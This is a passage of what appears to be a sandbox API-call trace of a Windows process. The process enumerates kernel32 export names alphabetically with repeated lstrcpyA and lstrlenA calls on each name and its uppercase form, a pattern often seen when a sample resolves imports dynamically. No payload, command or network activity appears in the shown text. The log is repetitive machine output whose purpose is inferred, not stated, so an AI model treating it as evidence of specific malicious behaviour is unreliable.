returned="BaseFlushAppcompatCacheWorker" [0148.781] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0148.781] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0148.782] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0148.782] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0148.782] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0148.782] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0148.782] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0148.782] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0148.782] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0148.782] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0148.782] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0148.782] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0148.782] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0148.782] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0148.782] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0148.782] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0148.782] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0148.782] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0148.782] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0148.782] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0148.782] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0148.782] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0148.782] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0148.782] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0148.782] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0148.782] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0148.782] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0148.782] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0148.782] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0148.782] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0148.782] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0148.782] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0148.782] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0148.782] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0148.782] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0148.782] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0148.782] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0148.782] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0148.783] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0148.783] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0148.783] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0148.783] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0148.783] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0148.783] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0148.783] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0148.783] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0148.783] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0148.783] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0148.783] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0148.783] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0148.783] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0148.783] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0148.783] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0148.783] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0148.783] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0148.783] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0148.783] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0148.783] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0148.783] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0148.783] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0148.783] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0148.783] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0148.783] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0148.783] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0148.783] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0148.783] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0148.783] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0148.783] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0148.783] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0148.783] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0148.783] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0148.783] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0148.783] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0148.783] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0148.783] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0148.784] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0148.784] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0148.784] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0148.784] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0148.784] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0148.784] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0148.784] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0148.784] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0148.784] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0148.784] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0148.784] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0148.784] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0148.784] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0148.784] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0148.784] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0148.784] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0148.784] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0148.784] lstrlenA (lpString="BEEP") returned 4 [0148.784] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0148.784] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0148.784] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0148.784] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0148.784] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0148.784] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0148.784] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0148.784] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0148.784] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0148.784] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0148.784] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0148.784] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0148.784] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0148.784] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0148.784] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0148.784] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0148.784] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0148.784] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0148.784] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0148.784] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0148.785] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0148.785] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0148.785] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0148.785] lstrlenA (lpString="CANCELIO") returned 8 [0148.785] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0148.785] lstrlenA (lpString="CANCELIOEX") returned 10 [0148.785] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0148.785] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0148.785] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0148.785] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0148.785] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0148.785] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0148.785] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0148.785] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0148.785] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0148.785] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0148.785] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0148.785] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0148.785] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0148.785] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0148.785] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0148.785] lstrlenA (lpString="CHECKELEVATION") returned 14 [0148.785] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0148.785] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0148.785] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0148.785] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0148.785] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0148.785] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0148.785] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0148.785] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0148.785] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0148.785] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0148.785] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0148.785] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0148.785] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0148.785] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0148.785] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0148.785] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0148.785] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0148.785] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0148.785] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0148.786] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0148.786] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0148.786] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0148.786] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0148.786] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0148.786] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0148.786] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0148.786] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0148.786] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0148.786] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0148.786] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0148.786] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0148.786] lstrlenA (lpString="CLOSESTATE") returned 10 [0148.786] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0148.786] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0148.786] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0148.786] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0148.786] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0148.786] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0148.786] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0148.786] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0148.786] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0148.786] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0148.786] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0148.786] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0148.786] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0148.786] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0148.786] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0148.786] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0148.786] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0148.786] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0148.786] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0148.786] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0148.786] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0148.786] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0148.786] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0148.786] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0148.786] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0148.786] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0148.786] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0148.787] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0148.787] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0148.787] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0148.787] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0148.787] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0148.787] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0148.787] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0148.787] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0148.787] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0148.787] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0148.787] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0148.787] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0148.787] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0148.787] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0148.787] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0148.787] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0148.787] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0148.787] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0148.787] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0148.787] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0148.787] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0148.787] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0148.787] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0148.787] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0148.787] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0148.787] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0148.787] lstrlenA (lpString="COPYCONTEXT") returned 11 [0148.787] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0148.787] lstrlenA (lpString="COPYFILE2") returned 9 [0148.787] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0148.787] lstrlenA (lpString="COPYFILEA") returned 9 [0148.788] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0148.788] lstrlenA (lpString="COPYFILEEXA") returned 11 [0148.788] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0148.788] lstrlenA (lpString="COPYFILEEXW") returned 11 [0148.788] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0148.788] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0148.788] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0148.788] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0148.788] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0148.788] lstrlenA (lpString="COPYFILEW") returned 9 [0148.788] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0148.788] lstrlenA (lpString="COPYLZFILE") returned 10 [0148.788] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0148.788] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0148.788] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: 